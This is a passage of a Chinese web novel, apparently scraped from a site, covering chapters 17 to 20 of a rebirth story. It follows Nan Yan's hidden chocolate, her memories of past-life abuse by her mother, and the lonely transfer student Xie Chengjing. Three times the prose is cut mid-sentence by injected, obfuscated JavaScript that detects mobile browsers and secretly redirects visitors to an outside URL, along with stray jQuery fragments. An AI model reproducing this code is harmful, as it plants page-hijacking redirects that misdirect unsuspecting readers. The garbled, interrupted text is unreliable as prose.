谢承景刚推开门,正赶上一阵西北风扑过来,他下意识地缩了缩脖子,冻得发僵的指尖刚触到门框,一股暖融融的气息就裹着饭菜香涌出来,像一双温热的手,瞬间揉散了他身上的寒气。 “小景回来啦?”厨房方向传来熟悉的声音,外婆围着那条淡蓝色碎花围裙,正端着个搪瓷盘往客厅走,盘里码着刚蒸好的馒头,热气在她鬓角的白发上凝了层薄霜,“今天在学校怎么样?新同桌好不好相处?有没有同学跟你一起吃饭啊?” 老人家连珠炮似的问话里裹着藏不住的牵挂。 客厅里,外公戴着老花镜,坐在小凳子上择韭菜,闻言也抬起头来,镜片后的眼睛眯成一条缝:“咱们小景这么俊俏,肯定讨同学喜欢。” 谢承景放下书包,刚要开口,脑子里却突然晃过南雁的模样。 她接过巧克力时指尖的轻颤,那双像结了薄冰的湖水似的眼睛,还有她转身离开时,左腿微微跛着,在雪地上踩出的浅痕。 嘴角像是被什么东西勾了一下,悄悄往上扬了扬,又被他飞快地压下去,只含糊地应了句:“挺好的,数学课代表帮我讲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16497538|185383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了道题。” 这话不假,却省略了整整一天的孤独。 早餐时他独自坐在食堂角落,体育课无人组队时的尴尬,还有那些在他背后指指点点的低语。 “混血杂种”、“洋鬼子”,这些词他已听得麻木。 “那就好,那就好。”外婆没戳破他的敷衍,笑呵呵地把馒头往他手里塞了一个,“快洗手去,今天特意给你做了红烧肉,炖了俩钟头,软烂得很,不塞牙。” 谢承景握着温热的馒头,指尖的凉意慢慢散了,他咬了一小口,麦香混着碱水的味道在嘴里散开,忽然想起什么,装作不经意地问:“外婆,爸爸妈妈...…有来信或者电报吗?” 客厅里的气氛倏地静了一下。 外公的动作顿了顿,老花镜滑到鼻尖,他抬起头,镜片后的眼睛眯成一条缝,与外婆飞快地交换了个眼神。 外婆擦了擦手上的面粉,快步走到五斗柜前,那柜子是外公年轻时亲手打的,现在柜门上的铜锁都生了锈。 她小心翼翼地拉开最下面的抽屉,从叠得整整齐齐的旧手帕里,取出一张折叠得方方正正的电报纸。 “中午刚收到的,你妈妈发的。”外婆把电报纸递过来时,手有点抖,“就几句话,问你在这儿适不适应,让你好好吃饭,别惦记他们,学习也别太拼...…” 谢承景接过电报,指尖像碰到了冰,微微发颤。 纸上的字是印刷体,寥寥数语:“小景安好?父病稳,勿念,专心学业。母字。” 他反复读了三遍,每个字都像带着母亲温柔的声音,跨越重洋,在这小小的客厅里回响。 “他们……一切都好吗?”他轻声问,目光仍黏在电报纸上。 “好,都好。”外公突然接过话头,声音洪亮得有些不自然,他把择好的韭菜拢到一起,又拿起一根没择的,故意放慢了动作,“你爸那病啊,医生说好多了,等再稳定稳定,就来接你回去。你现在就安心在这儿读书,别瞎琢磨别的。” 谢承景点点头,没再追问。 他早就学会了从大人的话里找破绽——要是爸爸的病真那么轻,当初也不会急急忙忙把他送回国;要是真能很快来接他,妈妈的电报里也不会只字不提归期。 可他什么也没说,只是把电报纸叠得跟原来一样整齐,轻轻放回五斗柜上。 “我去写作业了。”他拎起书包,走向自己的小房间。 那房间很小,只放得下一张书桌和一张小床,墙上贴着他小时候画的画,边角都卷了边。 关门的瞬间,他听见外婆压低声音对外公说:“这孩子今天好像有点不一样...…” 是不一样。 谢承景靠在门上,疲惫地闭上了双眼。 他太想爸爸妈妈了。 想妈妈煮的热汤,想爸爸把他举过头顶时掌心的温度,可这些念头刚冒出来,就被另一个声音压下去。 不能想,不能成为他们的累赘。 在离开家来这里之前,妈妈说,菩萨会保佑爸爸平安;送他来外婆家的叔叔也摸着他的头说,上帝会眷顾善良的人。 他想,有两个国度的神一起保佑,爸爸肯定能好起来,等爸爸好了,他们就能一家团聚了。 18. 终身难忘的记忆 谢承景在书桌前不知枯坐了多久,数学练习册摊开着,钢笔捏在指间,墨水早已在笔尖凝滞。 他的目光穿不透浓稠的矿区夜色,只能落在窗外零星闪烁的灯火上。 哪一盏灯是南雁的家?她尝了那盒巧克力吗?那甜中带着微妙苦意的味道,她会喜欢,还是嫌弃? 门锁极轻地响了一声,外婆端着一杯热牛奶走进来,杯壁上凝结着细密的水珠,蜿蜒滑下。 “别太耗神,先喝点热的,暖暖肠胃。”老人家把杯子放在桌角,目光在摊开的数学练习册上短暂停留,又飞快移开,“要是有解不开的难题,就去问你外公。他早年教过中学,数学底子还在,能说道说道。” 谢承景低低地“嗯”了一声,端起牛奶喝了一口,温热的液体滑过喉咙,暖到了心里。 他看着外婆转身离去时微驼的背影,忽然,中午南雁身上那件旧棉袄的模样,毫无预兆地撞进脑海。 视线回落,他看见自己手边那个皮质柔软,款式新颖的书包,是爸爸在他离开前特意买的;身上这件剪裁合体的小西装,也是崭新的。 心脏像是被一根看不见的细针,猝不及防地刺了一下。不剧烈,却带着绵长而清晰的钝痛。 他放下牛奶杯,拿起一支铅笔,笔尖悬在练习册空白的边角,犹豫着,然后落下。 寥寥数笔,一个方方正正的小巧巧克力便跃然纸上。 他从小跟着当画家的叔叔学画画,这种小物件画起来得心应手——金闪闪的包装纸,边角折出的细纹,连上面印的小字都画得清清楚楚。 画完,他又用橡皮轻轻蹭了蹭,生怕线条太粗,毁了这小小的念想。 窗外的北风还在不知疲倦地呼啸,发出呜咽般的声响。 但屋子里很暖和,炉火的余温和新酿的米酒香气在空气里静静流淌,牛奶的甜香依旧萦绕在鼻端。 谢承景重新握紧钢笔,强迫自己将注意力拉回到那些复杂的数学符号上。 然而,南雁的影子总是不期而至。 她现在在做什么? 是在帮家里干活,还是在看书?她的腿,到底是怎么回事呢?是不是小时候摔了,没治好才留下的毛病? 这些念头像一群不知疲倦的蚂蚁,在他心房的缝隙里窸窣爬行,啃噬着他好不容易聚集起来的专注力。 他泄气地停下笔,将额头抵在冰凉的木质窗框上,目光涣散地投向窗外那片沉沉的灯火之海。 时间在寂静中流逝。 他听见外公在客厅里咳嗽,外婆在给他找药,还有远处传来的火车鸣笛声,穿透夜雾,悠悠传来。 忽然间,他觉得这矿区的冬夜,似乎也不那么难以忍受了。 至少还有外婆的红烧肉,外公的韭菜馅饺子,还有那盒被南雁收下的巧克力,像一点微光,照亮了他心里的孤独。 “哒。” 一声极轻微的响动从书桌抽屉里传来。他拉开抽屉,是早上他放进去的那盒巧克力。 盒盖大概没扣严实,被不知从何处钻进来的风一吹,轻轻晃动了一下。 他取出盒子,打开。 里面静静地躺着最后一块巧克力,金色的糖纸在台灯下反射着一点寂寥的光。 一个念头毫无征兆地破土而出—— 明天,他要早点去学校。在校门口那棵老槐树下等她。 他想问她,巧克力好不好吃。他想把这最后一块也给她。他还想告诉她,其实……他也一样孤独,他也渴望能有一个,可以不必伪装、坦然说话的……朋友。 谢承景把巧克力放回盒子里,小心地收进抽屉深处,然后拿起钢笔,重新低下头,认真地做起了数学题。 …… 南雁将那个带着体温的巧克力盒子紧紧捂在怀里,借着去院角鸡窝添食的由头,脚步一拐,闪身钻进了旁边的柴房。 柴房的门轴锈蚀得厉害,推开时发出一声刺耳的长音,在寂静的傍晚里显得格外惊心。 南雁手一抖,连忙用力按住颤动的门板,屏住呼吸,侧耳倾听。 正屋里没有传来包兰芝夹枪带棒的骂声,只有南玉尖着嗓子吵闹的背景音。 她这才松了口气,像一尾滑溜的鱼,迅速挤进门缝,反手将门锁上。 柴房里堆满了劈好的柴火,松木混杂着些不知名的硬杂木,散发出干燥的松针和潮湿泥土混合的气息。 南雁凭着记忆,在昏暗的光线中摸索到墙角,手指触到一块略显松动的砖头。 她小心地将它撬开,露出里面一个不大的空洞——这是她前几天偷偷为自己准备的藏匿处。 她从怀里掏出那个依旧带着她体温的巧克力盒子,解开已经有些褶皱的蓝色丝带,打开盒盖。 裹着巧克力的金色锡纸在昏暗中折射出细碎、微弱的光芒,像不小心洒落的一把碎星子。 她拿起一颗,指尖灵巧地剥开精致的包装。深褐色的巧克力块安静地躺在掌心,比拇指指甲盖大不了多少,散发着浓郁的香气。 是可可特有的醇厚,似乎还隐隐缠绕着一丝难以辨明的果香,勾得人舌尖不由自主地泛起津液。 她飞快地瞥了一眼紧闭的柴房门,确认安全,才将那颗巧克力放入口中。 丝滑的质感瞬间在舌尖融化、铺开,甜意如同初春解冻的溪流,裹挟着那股陌生的香气,迅速弥漫至整个口腔。 这甜并不腻人,反而有些清冽,像春日的初雪落在舌面上,清爽宜人。 直到那甜蜜的浪潮渐渐退去,舌根才悄然泛起一丝极隐晦的微苦。 不像中药的霸道,倒像是熬过漫长寒冬后,从冻土中钻出的嫩芽,带着一股清醒、倔强的余韵。 这味道熟悉又陌生。 她恍惚记起,她的女儿小安也极爱这种叫巧克力的东西。 她曾好奇尝过一次,那时只觉得满口苦涩,比最涩的黄连汤还难以下咽,她怎么也想不明白,小安为何会痴迷于这种“苦东西”。 现在想来,这苦能有她的人生苦? 待口中最后一点味道也消散殆尽,南雁才又伸出手,剥开了第二颗。 忽然,谢承景那张脸在她眼前晃了晃,他笑起来眉眼弯弯,递巧克力时说“一点也不苦”的语气,真诚得让人心头发软。 她不由得无声笑了起来,又迅速恢复平静。 因为,一个冰冷的事实,如同潜藏的暗礁,浮出记忆的水面—— 前世的这个冬天,矿中学里,从未出现过什么混血的转学生。 那时的她,像一头被生活驱赶的疲惫骡子,忙着给人浆洗缝补换取微薄的粮票,忙着躲避包兰芝毫无缘由的打骂,忙着在零下十几度的深夜,踩着冻僵的双脚去几百米外的公共水管排队接水…… 她连学校公告栏上贴了什么都无暇细看,更从未听说过“谢承景”这个名字。 这个人,像是从石头缝里,凭空蹦出来的。 “蹬蹬蹬!” 柴房外忽然传来急促的脚步声,夹杂着南玉尖锐的哭闹:“妈——!我要吃烤红薯!南春他抢我的红薯!” 包兰芝不耐烦的呵斥紧随其后:“嚎什么丧!找你大姐去!” “鬼晓得她死到哪里野去了!” “那就别吃了!再闹,老娘把你们两个小崽子一起塞鸡窝里跟瘟鸡作伴!” 南雁浑身肌肉瞬间绷紧。 她手忙脚乱地将巧克力盒子盖好,塞回墙角的砖缝深处,又飞快地用几块碎砖和柴屑仔细掩盖好,确保不露丝毫痕迹。 做完这一切,她拍了拍沾上灰尘的手,面色如常地拉开了柴房的门。 “躲里面孵蛋呢?!磨磨蹭蹭!”包兰芝拎着一颗冻得硬邦邦的白菜,见她出来,眼睛一瞪,“你爸和你哥今晚下井,要带干粮,还不赶紧滚去和面!等着老娘请你?” 南雁垂下眼睑,低低应了一声“这就去”,走到院子角落的水缸边,拿起飘舀水。 冰冷刺骨的水浇在手上,激得皮肤一阵紧缩,没能压下手上残留的甜香。 那甜香好像渗进了皮肤里,随着血液循环,暖意涌遍全身。 她鬼使神差地,将湿漉漉的手凑到鼻尖嗅了一下,眼眶毫无预兆地泛起一阵酸热。 “大姐!”南玉像颗出膛的炮弹,蹦跳着凑到她身边,小狗似的翕动着鼻子,眼睛滴溜溜地转,“你身上啥味儿?甜甜的?你是不是偷藏糖吃了?” 南雁心里猛地一沉,面上却不动声色,顺手将湿手衣服上擦了擦,没好气地白了南玉一眼:“你以为谁都跟你似的,馋虫投胎?刘小萍谢我教她写作业,给了块水果糖。” “还有吗?”南玉死死拽住她的衣角,用力摇晃,“给我!给我吃!” “没了,就一块。”南雁用力挣开她黏腻的手,转身朝黑黢黢的厨房走去。 两辈子了,南玉这块甩不脱的狗皮膏药,还是这般德行,嗅到一点甜腥就死死黏上来,不吸干最后一滴养分决不罢休。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16505201|185383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她打开面粉袋,用粗瓷碗舀了几碗泛黄的黑面粉倒入和面盆。 看着那粗糙的粉末,一段被她刻意尘封,属于前世带着血腥和屈辱的记忆,如同挣脱了枷锁的猛兽,咆哮着冲垮堤坝,瞬间将她吞没—— 前世的南玉,长大后比少女时期更加难缠,也更加势利。 国家刚改革开放那阵,南玉跑去沿海滨城晃荡了不到半年,回来时便像是彻底换了层皮。 手腕上戴着亮得刺眼的金表,嘴里嚼着据说“比水果糖贵十倍”的进口巧克力,言谈间充斥着对“土包子”的不屑,炫耀自己钓到了一个“港商”,以后是要住带花园的“别墅”的。 包兰芝更是逢人便吹,唾沫横飞,仿佛自家四女儿已然一步登天。 那天,南雁刚从嘈杂混乱的街道招待所下班,拖着灌铅般沉重的双腿回到那个令人窒息的“家”,还没喘口气,就被南玉堵在了逼仄的房间里。 南玉涂着红色指甲油的食指,几乎戳到她鼻子上,另一只手里捏着几张,从她垃圾篓里翻出来的糖纸,骂道:“你偷我糖吃!我就说我那盒进口巧克力怎么少了好几块!原来是你这个家贼!手脚不干净的东西!” 她没偷。 那些糖纸,是已经退休的李老师给的。 李老师是她灰暗前世里,为数不多给过她些许温暖的人。 老人家住在城郊,她女儿来看她时带了一包糖,李老师顺手抓了一把,硬塞给了当时面黄肌瘦的她。 她极力解释。 可南玉哪里肯听? 她仗着那个八字还没一撇的“港商男友”,气势汹汹,一屁股坐在地上,蹬腿撒泼,哭闹声能掀翻屋顶,活脱脱一个市井泼妇,口口声声:“就你这穷酸样,饭都吃不饱,怎么可能有这种糖?不是偷我的,是哪里来的?” 包兰芝闻声冲进来,三角眼里淬着寒光,根本不问青红皂白,顺手抄起门后那根南秉义特意用老竹根做的,浸过油的藤条,没头没脑地就朝她抽下来! “我叫你贱!叫你手贱!敢偷你妹的东西!老娘怎么就生出你这么个下贱胚子!” 藤条带着风声,抽在单薄的衣衫上,留下火辣辣的疼痛,瞬间钻心刻骨。 她咬着后槽牙,蜷缩起身体,一遍遍地解释,声音淹没在南玉夸张的哭嚎和包兰芝恶毒的咒骂里。 包兰芝根本充耳不闻,只顾护着坐在地上干打雷不下雨的南玉,咆哮道:“给你妹妹跪下!道歉!不然就给老子滚出这个家!” 她不跪。 凭什么?她没偷,凭什么要认下这莫须有的罪名? 她的倔强,如同往油锅里泼了一瓢冷水,瞬间引爆了包兰芝所有的暴戾。 “还敢犟嘴!”包兰芝扔下藤条,转身从灶膛里抽出一根还带着火星的烧火棍,没轻没重地朝她胳膊、后背狠狠打下来! 她疼得缩成一团,像一只被扔进沸水里的虾米。 耳边是南玉毫不掩饰的阴冷嗤笑,是包兰芝不绝于耳的咒骂:“养你不如养条看门狗!狗还知道摇尾巴!” 最后,包兰芝打累了,喘着粗气,一脚踩在她的头上,鞋底带着泥污,狠狠将她的头碾在冰冷粗糙的水泥地上:“贱种!道不道歉?不道歉,老子今天就打死你!省得丢人现眼!老子供你吃供你穿,你就这么报答老子的?啊?老子教你偷鸡摸狗了?现在敢偷家里的,往后就敢去偷外头的!老娘的脸都被你丢尽了!我怎么就生了你这个畜生!” 包兰芝骂得声嘶力竭,随后像拖一条死狗一样,揪着她的头发,将她一路拖行到大门外。 “滚!给老子滚得远远的!就当老娘从来没生过你这个讨债鬼!” 门外,是漫天呼啸的鹅毛大雪,寒风像无数把冰冷的锉刀,刮在脸上,瞬间带走所有温度。 她被重重掼在冰冷的雪地里,身后的门在她眼前狠狠关上,震落了门楣上的积雪。 任凭她如何用冻僵的手拍打门板,如何从嘶哑的喉咙里挤出“妈……我冷……开门……”,那扇门后,只有死一般的寂静。 雪,越下越大,如同白色的裹尸布,一层层覆盖上来,渐渐淹没了她的手脚,她的身体。 她趴在冰冷的雪地上,冻得四肢麻木,连弯曲手指都变得无比艰难。 她趴在门外,听着屋里传来南玉吃巧克力的咔擦声,听着包兰芝哄南玉“明天再给你买”,忽然心就被这漫天大雪给冻住了,一点一点变成冰雕,然后被人毫不留情地砸得粉碎。 19. 狗鼻子 后半夜,雪势渐弱,从狂暴的撕扯变成了阴冷的絮语,她才挣扎着爬起来。 矿区的招待所还亮着灯,她勉强撑着一口气挪到办公室。 门没锁,里面空无一人,只有两把扶手椅,她拼在一起当床,又去外面捡了几块硬纸板盖在身上。 风从窗户的缝隙里钻进来,发出尖锐的呜咽。 她蜷在纸板下,牙齿不受控制地剧烈磕碰,身上的伤处,随着心跳而抽痛,无情地提醒着她被至亲抛弃在冰天雪地里的现实。 可眼眶是干的,涩得发疼,像是连泪腺都被那极致的寒冷彻底冻僵,再也榨不出一滴温热的水分。 多么可笑。 即便到了这般田地,她心底竟还残存着一丝微弱到可悲的幻想——也许天亮了,包兰芝的气消了,想起她这个女儿,总会来找她的吧? 毕竟……她是她的“妈”啊。 然而,天光并未带来救赎,反而带来了更厚重的大雪,无声无息,铺天盖地吞噬了招待所的门槛,也彻底掩埋了她心底那点摇摇欲坠,名为“亲情”的微光。 世界白茫茫一片,干净得近乎残酷,仿佛急于将她这个“错误”,从这片土地上彻底擦拭干净。 “发什么呆!魂让鬼叼去了?!” 包兰芝炸雷般的嗓音劈头盖脸砸来,将南雁从冰冷刺骨的记忆深渊里拽回现实。 她端着沉重搪瓷盆的手不受控制地一抖,粗糙的盆边狠狠硌在指腹上,尖锐的痛感反而像一盆冰水,浇醒了她混沌的脑子。 她迅速垂下眼睫,将所有翻涌的恨意、屈辱和深入骨髓的恐惧,死死摁回心底最阴暗的角落。 再抬眼时,脸上静得像一潭死水:“没发呆。在算,和多少面才够爸和哥带下井。” “这还用算?往多了和!下井是卖力气的活,吃不饱哪行?别整天一副抠抠搜搜的穷酸相,像谁短了你吃食似的!”包兰芝叉着腰,唾沫星子几乎要溅到南雁脸上,那双三角眼在她身上逡巡着。 南雁不再吭声,沉默地拿起水瓢,舀起冰凉的井水,缓缓倒入面盆。 刺骨的寒意顺着指尖瞬间窜遍全身,冻得她指节发麻,她很享受着这种尖锐的麻木。 因为只有这种冷,才能暂时压制住她心口那团烧得她五脏六腑都在灼痛的业火。 她抓起粗糙的黑面粉,一把把撒进水里,白中带灰的粉末落在水面上,积起薄薄一层,像极了前世那场埋了她半条命的大雪。 南雁猛地将手插进面盆,发狠地揉搓起来。 手腕、胳膊、全身的力气都灌进去,不甘、愤懑、绝望,还有那几乎要破膛而出的恐惧……所有不能言说的情绪,都被她狠狠地揉进这团越来越韧的面里。 前世的那个雪夜,太冷了。 冷到灵魂都在颤栗。即使重活一次,拥有了温暖的躯壳,每当回忆起那被积雪包裹的窒息感,回忆起生命力如何被彻骨的寒冷一丝丝抽离殆尽,她仍会抑制不住地浑身发冷,胃部痉挛。 那种被至亲之人像丢弃垃圾一样扔在门外,任其自生自灭的绝望,比身体的疼痛更甚千倍万倍。 不知过了多久,面团在反复的捶打揉捏下渐渐变得光滑、富有弹性。 南雁的呼吸也随着动作的放缓而逐渐平复,只是胸口依旧堵得厉害。 她将揉好的面盆盖上打湿的粗麻布,搬到灶台边仅存的一点余温处,等待着发酵。 屋外传来南玉的哭闹声,夹杂着包兰芝的呵斥,还有南春偶尔顶一句嘴的脆响,这些声响像根绳子,牢牢拴着她,提醒她这一世的日子,依旧不好过。 南雁走到水缸边,又舀了瓢水,慢慢冲洗着手上黏腻的面粉。 冰凉的水流冲刷着指缝,也让她混乱的思绪逐渐清晰。 这一世,终究是不同了。 她回来了,带着前世的记忆,带着刻骨的教训,也带着……一丝微弱而真实存在的变数。 谢承景。 这个前世从未出现过的少年,像一颗投入死水里的石子,在她既定命运的湖面上,漾开了一圈小小的涟漪。 他那双带着异域风情的眼眸里的真诚,那盒包装精美、味道奇特的巧克力,还有他“孤独”时,与她隐隐共鸣的神情……都让她感到一种陌生的悸动。 可这悸动对她而言,并非甘霖,而是更深的警钟。 他为何会出现在这里?他的出现意味着什么?是命运终于肯垂怜一丝的补偿,还是另一场更大风暴降临前,迷惑她的假象? 南雁擦干手,目光不经意间扫过柴房的方向。 那盒被她藏在砖缝深处的巧克力,此刻像一个甜蜜又危险的潘多拉魔盒,无声地灼烧着她的理智。 南玉的鼻子比狗还灵,包兰芝的眼睛更是时时刻刻盯在她身上,就等着抓她的错处,好名正言顺地断了她读书的念想。 她必须比前世更加谨慎,更加隐忍,把自己真正的心思藏得更深。 一步踏错,脚下便是万劫不复的深渊。 “面发上了没?磨磨蹭蹭的,属蜗牛的?”包兰芝不耐烦的催促声再次炸响,伴随着沉重的脚步声逼近厨房门口。 南雁立刻收敛所有外泄的心神,应道:“发上了。” 她转身开始准备其他的,洗菜,切菜,动作麻利,看不出丝毫异样。 …… 晚饭时的饭桌,气氛一如既往的沉闷。只有咀嚼声、碗筷碰撞的轻响,以及包兰芝永不停歇的絮叨。 她唾沫横飞,话题从东家长跳到西家短,一会儿酸溜溜地讥讽张家媳妇又显摆新头巾,一会儿又咬牙切齿地咒骂李家小子手脚不干净,偷了她家晾在院子里的几根萝卜干。 南玉和南春为了争夺碗里仅有的几片油光肥腻的肉片,几乎在桌上展开全武行,筷子在空中激烈交锋,甩出的油点溅到了对面南雁的手背上,留下一点黏腻的凉。 南秉义终于被这吵闹惹烦,把手里粗瓷碗往桌面上重重一磕:“吃个饭都不安生!再闹都给老子滚出去喝西北风!” 南雁默默收回手,用袖口擦掉那点油渍,继续低头,小口小口地扒拉着碗里糙得割喉咙的米饭。 她没去参与那场关于肉片的争夺。 因为她太清楚了,就算侥幸抢到,包兰芝那刀子似的目光也会立刻剜过来,用“姑娘家没吃相”、“不晓得让着弟弟妹妹”的罪名,将她钉在耻辱柱上,最后,那肉片会落入南天贵或者南峰的碗底。 饭后,南秉义和南天贵带上干粮,又匆匆出门下井。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16511414|185383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矿区的男人大多如此,像上了发条的陀螺,在天亮前下井,在星幕下归家,用健康和性命换取勉强糊口的微薄收入。 南雁负责收拾碗筷,南秀负责洗碗,南玉和南春早已溜得不见踪影,大约是去外面疯跑野玩了。 包兰芝盘腿坐在炕上,就着那盏昏黄摇曳的煤油灯,缝补着南天贵一件肘部磨得几乎透明的旧工装。 针脚细密,嘴里却一刻不停地数落着,一会儿嫌南秀洗碗动静大浪费水,一会儿又骂南春不懂珍惜,把刚做好的新布鞋踢破了洞。 南雁对这些噪音早已免疫,她只是加快了手上的动作,擦桌、扫地,将一切归置得井井有条,不留下任何可供指摘的把柄。 收拾停当,她低声道:“妈,我作业还没写完,先去写了。” 包兰芝头也没抬,从鼻子里“哼”了一声,算是应允。 南雁快步回到自己和妹妹们共用的小房间。 房间狭小拥挤,靠墙摆着一张通铺,属于她的那一小块地方,褥子单薄,被子也带着一股潮气。 她从书包里拿出课本和练习册,在窗边那张摇摇晃晃的小桌前坐下。 窗外,矿区零落的灯火在浓稠的夜色里挣扎闪烁,与河对岸谢承景家那片温暖明亮,连成光河的区域相比,显得格外寒酸寂寥。 她摊开数学练习册,上面的公式和符号在煤油灯昏黄的光线下有些模糊不清。 脑子里不受控制地闪过巧克力在舌尖融化的丝滑与甜腻,闪过谢承景那双盛满真诚的黑色眼眸,最后,画面定格,是前世家门外,那几乎将她冻毙、埋葬的皑皑白雪,冰冷,窒息,绝望。 她甩甩头,逼自己集中精神。 不能心软! 不能妥协! 更不能认命! 一道复杂的几何题困住了南雁,她蹙着眉,反复画辅助线,却怎么也找不到解题的思路。 就在这时,南玉一阵风似的冲了进来,带着一股室外的寒气,直接扑到他身边,鼻子使劲吸了吸,像只嗅到猎物的小狼崽。 “大姐!你身上还有那股味儿!甜丝丝的,根本不像刘小萍给的水果糖!你到底偷藏了什么好东西?快交出来!” 南雁的心一紧,握着笔的手指微微用力。她抬起头,面无表情地看着南玉:“说了是刘小萍给的糖,早就吃完了。你闻错了。” “不可能!”南玉笃定地尖叫,眼睛像探照灯一样在她周身和简陋的书桌上疯狂扫视,“就是有!比水果糖香多了!你肯定藏起来了!不交出来,我就自己找!” 说着,她竟真的动手,蛮横地去拉南雁书桌的抽屉。 “你干什么!”南雁按住抽屉,气势是从未有过的凌厉,竟真把南玉镇住了。 南雁很少这样疾言厉色地反抗。 以往,就算心爱的东西被抢,她也多是默默忍下,至多不过红一红眼眶。 可这次不同,抽屉里虽然没有巧克力,却放着她用捡废品、卖鸡蛋、考试得了第一名的奖励,一点点攒钱买来的几个新本子。 那是她仅有的属于她自己的“财产”,是她在贫瘠精神世界里开垦出的小小绿洲。 若是被南玉发现,定然会不管不顾地抢去,撕掉画她的丑娃娃,或者据为己有。 20. 破天荒 南玉被她的反应吓了一跳,随即恼羞成怒,尖声道:“你的东西?这破屋里哪样东西刻着你的名字了?!你吃的米、穿的布,哪一寸不是爹妈挣来的!藏了好吃的不拿出来分,就是自私自利!就是偷!你从小就是个心术不正的坏胚子!扫把星!” 南玉的哭声穿透力极强,很快就引来了堂屋的包兰芝。 “又嚎什么丧?!一天到晚鸡飞狗跳,存心不让我多活两天是不是?!”包兰芝沉着脸站在门口,阴沉的目光在姐妹两人之间扫了个来回,最终,定格在南雁那只依旧紧紧按着抽屉的手上。 “妈——!”南玉像是找到了靠山,立刻扑过去,指着南雁告状,“大姐她肯定藏了好东西!她身上有股怪好闻的甜味儿,根本不是水果糖!她还不让我看抽屉!她心里有鬼!她肯定是偷藏了!” 包兰芝的眼神瞬间变得锐利起来,她盯着南雁,语气不善:“你又作什么妖?藏了什么见不得光的东西?给我打开!” 那一瞬间,南雁仿佛又被拖回了前世的那个雪夜。 冰冷的空气,不分青红皂白的指责,围观者或冷漠或嘲弄的目光,以及那种被全世界抛弃、彻骨的寒意再次将她包裹。 她看着包兰芝那张不容置疑的脸,看着南玉眼里得意的挑衅,心脏在胸腔里疯狂跳动,撞得肋骨生疼。 不能慌。绝对不能慌。 南雁深吸一口气,强迫自己冷静下来。她知道包兰芝的软肋——好面子。 若是让左邻右舍知道,她包兰芝的女儿为了一块不知真假的糖,在家里闹得人仰马翻,她定会觉得颜面扫地,比割她的肉还难受。 南雁抬起头,努力让目光显得坦荡,又带着点被冤屈的屈辱,直直迎上包兰芝的视线:“妈,我真没藏见不得人的东西。昨天放学,刘小萍追上来问我几道数学题,说是她爸要检查作业,她要是答不上来就得挨揍。” “我给她讲了半个钟头,她过意不去,硬塞给我一块带夹心的水果糖当谢礼。许是那糖的味儿太甜,让南玉闻着了。可糖就一块,我当时就吃了,南玉非要,我实在拿不出来,她就闹起来了。” 包兰芝脸上的戾气稍微收敛了一点,但眼神里的怀疑并未完全散去。 “刘小萍给你糖?”她狐疑地重复了一遍。 “嗯,”南雁趁热打铁,语气里带上了一丝恰到好处的委屈,眼眶微微泛红,“妈,你要是不信,咱现在就去刘小萍家问。可话又说回来,糖就一块,我已经吃进肚子里了,要是为这事闹到人家家里,让街坊邻居知道咱家姐妹俩为块糖吵翻天,人家得怎么议论咱家?说您偏心眼,还是说我这当大姐的小气?” 她说着,作势就要拉开抽屉。 抽屉里除了那几个她视若珍宝的新本子和钢笔,空空如也。 她不怕她们看,反而怕她们不看,怕包兰芝一直揪着这“莫须有”的罪名不放,引来更严苛的搜查,那藏在柴房砖缝里的秘密,就真的危险了。 包兰芝死死盯着她的动作,眼神闪烁不定,她固然偏心南玉,但更看重自己在外人面前的“脸面”。 俗话说,“家丑不可外扬”。尤其是这种上不得台面的争执。 要是真闹到刘小萍家,让人知道她包兰芝连块糖都管不住,让女儿们争抢,这脸可就丢大了! 往后她还怎么在矿区家属院里抬头挺胸地跟人闲扯?那些长舌妇的唾沫星子都能淹死她! 她沉默了几秒,心里飞快地盘算着,最后不耐烦地摆了摆手:“行了!一块破糖,也值得你们姐妹俩吵成这样?没出息的东西!” 她转头,恶狠狠地瞪向还在抽噎的南玉,“南玉!给你老娘闭嘴!再嚎一声,我立马把你扔出去跟那俩瘟鸡做伴!滚去睡觉!” 南玉没想到母亲这次居然没站在自己这边,愣了一下,随即跺着脚不依:“妈!她骗人!那根本不是普通水果糖的味儿!是那种特别香的甜,跟供销社卖的奶糖都不一样!我闻得出来!她肯定藏了好东西!” “我让你闭嘴!耳朵聋了?!”包兰芝心烦意乱到了极点,扬手一巴掌重重拍在南玉的后背上,打得南玉猛地一个趔趄,差点栽倒在地,“再敢多放一个屁,今晚你就睡鸡窝!跟老母鸡抱团取暖去!” 南玉难以置信地瞪大了眼睛,还想再争辩,却被包兰芝凌厉的眼神瞪了回去。 她委屈地扁着嘴,狠狠剜了南雁一眼,不甘心地爬上炕,钻进被窝里,还故意把被子扯得“哗啦”响,以此宣泄着不满。 